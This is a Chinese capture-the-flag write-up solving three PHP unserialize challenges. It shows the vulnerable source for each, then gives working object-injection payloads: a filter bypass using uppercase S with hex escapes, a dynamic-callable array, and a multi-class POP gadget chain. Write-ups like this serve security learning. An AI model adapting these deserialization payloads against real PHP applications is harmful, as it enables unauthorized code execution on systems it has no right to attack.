1,
<?php
include "flag5.php";
class funny{
private $a;
function __construct() {
$this->a = "givemeflag";
}
function __destruct() {
global $flag;
if ($this->a === "givemeflag") {
echo $flag;
}
}
}
if (isset($_GET['tryhackme']) && is_string($_GET['tryhackme'])){
$a = $_GET['tryhackme'];
for($i=0;$i<strlen($a);$i++)
{
if (ord($a[$i]) < 32 || ord($a[$i]) > 126) {//以一个字符(长度为1的字符串)作为参数,返回对应的 ASCII 数值,或者 Unicode 数值,如果所给的 Unicode 字符超出了你的 Python 定义范围,则会引发一个 TypeError 的异常。
die("hacker!");
}
}
unserialize($a);
} else {
show_source(__FILE__);
}
?>
payload:?tryhackme=O:5:“funny”:1:{S:8:"\00funny\00a";s:10:“givemeflag”;}
此处如果使用小写s并使用%00就会在payload被urldecode后被检测拦截 故使用大写S进行hex code后使用\00进行绕过处理
这样%00就会被转义进而符合要求
2,
<?php
include "flag6.php";
ini_set('display_errors',true);
error_reporting(E_ALL | E_STRICT);
class funny{
public function pyflag(){
global $flag;
echo $flag;
}
}
if (isset($_GET['tryhackme']) && is_string($_GET['tryhackme'])){
$a = unserialize($_GET['tryhackme']);
$a();
} else {
show_source(__FILE__);
}
?>
php动态执行函数的能力,即使用变量名后加括号的方式来对函数进行调用。这道题其实是让$a为funny.pyflag
payload:?tryhackme=a:2:{i:0;O:5:“funny”:0:{}i:1;s:6:“pyflag”;}
php动态执行函数的能力
1. 定义一个函数
2. 将函数名(字符串)赋值给一个变量
3. 使用变量名代替函数名动态调用函数
例:
<?php
function addition ($a, $b){
echo ($a + $b), "\n";
}
$result = "addition";
$result (3,6);
?>
$this在OOP中就是伪变量,(伪变量不是真正的变量,只是形式上是变量,变量中存储的是固定的值,$this中并没有,哪个对象调用,$this就代表哪个对象。)
同时,也可以将$this理解为对象的引用,$this通过引用的形式访问一个对象的方法和属性
3,
<?php
class a {
public $object;
public function resolve() {
array_walk($this, function($fn, $prev){
if ($fn[0] === "system" && $prev === "ls") {
echo "Wow, you rce me! But I can't let you do this. There is the flag. Enjoy it:)\n";
global $flag;
echo $flag;
}
});
}
public function __destruct() {
@$this->object->add();
}
public function __toString() {
return $this->object->string;
}
}
class b {
protected $filename;
protected function addMe() {
return "Add Failed. Filename:".$this->filename;
}
public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}
class c {
private $string;
public function __construct($string) {
$this->string = $string;
}
public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}
if (isset($_GET["tryhackme"])) {
unserialize($_GET['tryhackme']);
} else {
highlight_file(__FILE__);
}
paylopad:?tryhackme=O:1:“a”:1:{s:6:“object”;O:1:“b”:1:{s:11:"%00*%00filename";O:1:“a”:1:{s:6:“object”;O:1:“c”:1:{s:9:"%00c%00string";a:1:{s:6:“string”;a:2:{i:0;O:1:“a”:2:{s:6:“object”;N;s:2:“ls”;a:1:{i:0;s:6:“system”;}}i:1;s:7:“resolve”;}}}}}}
这题入手稍加分析,就知道想要拿到flag利用的链条必然是利用以destruct为链首的pop链通过a->b->a->c->a利用c中的那个奇怪的array()调用类a中的resolve方法,或者说成员函数,利用a被摧毁时的add调用,b中的return字符串调用a中的toString这样把整个链条串起来,这样链条就贯通了,我说的三个点便是串起链条的节点。